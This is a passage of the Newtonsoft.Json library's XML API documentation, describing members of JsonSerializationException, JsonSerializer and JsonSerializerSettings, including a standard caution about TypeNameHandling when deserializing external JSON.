inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonRequiredAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to always serialize the member, and to require that the member has a value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializationException\">\n            <summary>\n            The exception thrown when an error occurs during JSON serialization or deserialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String,System.String,System.Int32,System.Int32,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"lineNumber\">The line number indicating where the error occurred.</param>\n            <param name=\"linePosition\">The line position indicating where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializer\">\n            <summary>\n            Serializes and deserializes objects into and from the JSON format.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> enables you to control how objects are encoded into JSON.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.JsonSerializer.Error\">\n            <summary>\n            Occurs when the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> errors during serialization and deserialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ReferenceResolver\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Binder\">\n            <summary>\n            Gets or sets the <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TraceWriter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> used by the serializer when writing trace messages.\n            </summary>\n            <value>The trace writer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.EqualityComparer\">\n            <summary>\n            Gets or sets the equality comparer used by the serializer when comparing references.\n            </summary>\n            <value>The equality comparer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\">\n            <summary>\n            Gets or sets how type name writing and reading is handled by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\" />.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameAssemblyFormat\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.PreserveReferencesHandling\">\n            <summary>\n            Gets or sets how object references are preserved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets how reference loops (e.g. a class referencing itself) is handled.\n            The default value is <see cref=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MissingMemberHandling\">\n            <summary>\n            Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.NullValueHandling\">\n            <summary>\n            Gets or sets how null values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.NullValueHandling.Include\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DefaultValueHandling\">\n            <summary>\n            Gets or sets how default values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DefaultValueHandling.Include\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ObjectCreationHandling\">\n            <summary>\n            Gets or sets how objects are created during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\" />.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ConstructorHandling\">\n            <summary>\n            Gets or sets how constructors are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ConstructorHandling.Default\" />.\n            </summary>\n            <value>The constructor handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MetadataPropertyHandling\">\n            <summary>\n            Gets or sets how metadata properties are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\" />.\n            </summary>\n            <value>The metadata properties handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Converters\">\n            <summary>\n            Gets a collection <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that will be used during serialization.\n            </summary>\n            <value>Collection <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that will be used during serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver used by the serializer when\n            serializing .NET objects to JSON and vice versa.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Context\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> used by the serializer when invoking serialization callback methods.\n            </summary>\n            <value>The context.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Formatting\">\n            <summary>\n            Indicates how JSON text output is formatted.\n            The default value is <see cref=\"F:Newtonsoft.Json.Formatting.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateParseHandling.DateTime\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written as JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatFormatHandling.String\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.StringEscapeHandling.Default\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text,\n            and the expected date format when reading JSON text.\n            The default value is <c>\"yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK\"</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON.\n            The default value is <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum.\n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.CheckAdditionalContent\">\n            <summary>\n            Gets a value indicating whether there will be a check for additional JSON content after deserializing an object.\n            The default value is <c>false</c>.\n            </summary>\n            <value>\n            \t<c>true</c> if there will be a check for additional JSON content after deserializing an object; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Create\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Create(Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <param name=\"settings\">The settings to be applied to the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.</param>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.CreateDefault\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.CreateDefault(Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/> as well as the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"settings\">The settings to be applied to the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.</param>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/> as well as the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Populate(System.IO.TextReader,System.Object)\">\n            <summary>\n            Populates the JSON values onto the target object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> that contains the JSON structure to read values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Populate(Newtonsoft.Json.JsonReader,System.Object)\">\n            <summary>\n            Populates the JSON values onto the target object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that contains the JSON structure to read values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that contains the JSON structure to deserialize.</param>\n            <returns>The <see cref=\"T:System.Object\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(System.IO.TextReader,System.Type)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:System.IO.TextReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> containing the object.</param>\n            <param name=\"objectType\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The instance of <paramref name=\"objectType\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize``1(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the object.</param>\n            <typeparam name=\"T\">The type of the object to deserialize.</typeparam>\n            <returns>The instance of <typeparamref name=\"T\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(Newtonsoft.Json.JsonReader,System.Type)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the object.</param>\n            <param name=\"objectType\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The instance of <paramref name=\"objectType\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(System.IO.TextWriter,System.Object)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object,System.Type)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"jsonWriter\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n            <param name=\"objectType\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(System.IO.TextWriter,System.Object,System.Type)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n            <param name=\"objectType\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is Auto to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"jsonWriter\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializerSettings\">\n            <summary>\n            Specifies the settings on a <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets how reference loops (e.g. a class referencing itself) are handled.\n            The default value is <see cref=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\" />.\n            </summary>\n            <value>Reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MissingMemberHandling\">\n            <summary>\n            Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\" />.\n            </summary>\n            <value>Missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ObjectCreationHandling\">\n            <summary>\n            Gets or sets how objects are created during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\" />.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.NullValueHandling\">\n            <summary>\n            Gets or sets how null values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.NullValueHandling.Include\" />.\n            </summary>\n            <value>Null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DefaultValueHandling\">\n            <summary>\n            Gets or sets how default values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DefaultValueHandling.Include\" />.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Converters\">\n            <summary>\n            Gets or sets a <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> collection that will be used during serialization.\n            </summary>\n            <value>The converters.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.PreserveReferencesHandling\">\n            <summary>\n            Gets or sets how object references are preserved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\" />.\n            </summary>\n            <value>The preserve references handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameHandling\">\n            <summary>\n            Gets or sets how type name writing and reading is handled by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\" />.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MetadataPropertyHandling\">\n            <summary>\n            Gets or sets how metadata properties are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\" />.\n            </summary>\n            <value>The metadata properties handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameAssemblyFormat\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ConstructorHandling\">\n            <summary>\n            Gets or sets how constructors are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ConstructorHandling.Default\" />.\n            </summary>\n            <value>The constructor handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver used by the serializer when\n            serializing .NET objects to JSON and vice versa.\n            </summary>\n            <value>The contract resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.EqualityComparer\">\n            <summary>\n            Gets or sets the equality comparer used by the serializer when comparing references.\n            </summary>\n            <value>The equality comparer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceResolver\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n            <value>The reference resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceResolverProvider\">\n            <summary>\n            Gets or sets a function that creates the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n            <value>A function that creates the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TraceWriter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> used by the serializer when writing trace messages.\n            </summary>\n            <value>The trace writer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Binder\">\n            <summary>\n            Gets or sets the <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n            <value>The binder.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n            <value>The binder.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Error\">\n            <summary>\n            Gets or sets the error handler called during serialization and deserialization.\n            </summary>\n            <value>The error handler called during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Context\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> used by the serializer when invoking serialization callback methods.\n            </summary>\n            <value>The context.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text,\n            and the expected date format when reading JSON text.\n            The default value is <c>\"yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK\"</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum.\n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Formatting\">\n            <summary>\n            Indicates how JSON text output is formatted.\n            The default value is <see cref=\"F:Newtonsoft.Json.Formatting.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateParseHandling.DateTime\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written as JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatFormatHandling.String\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON 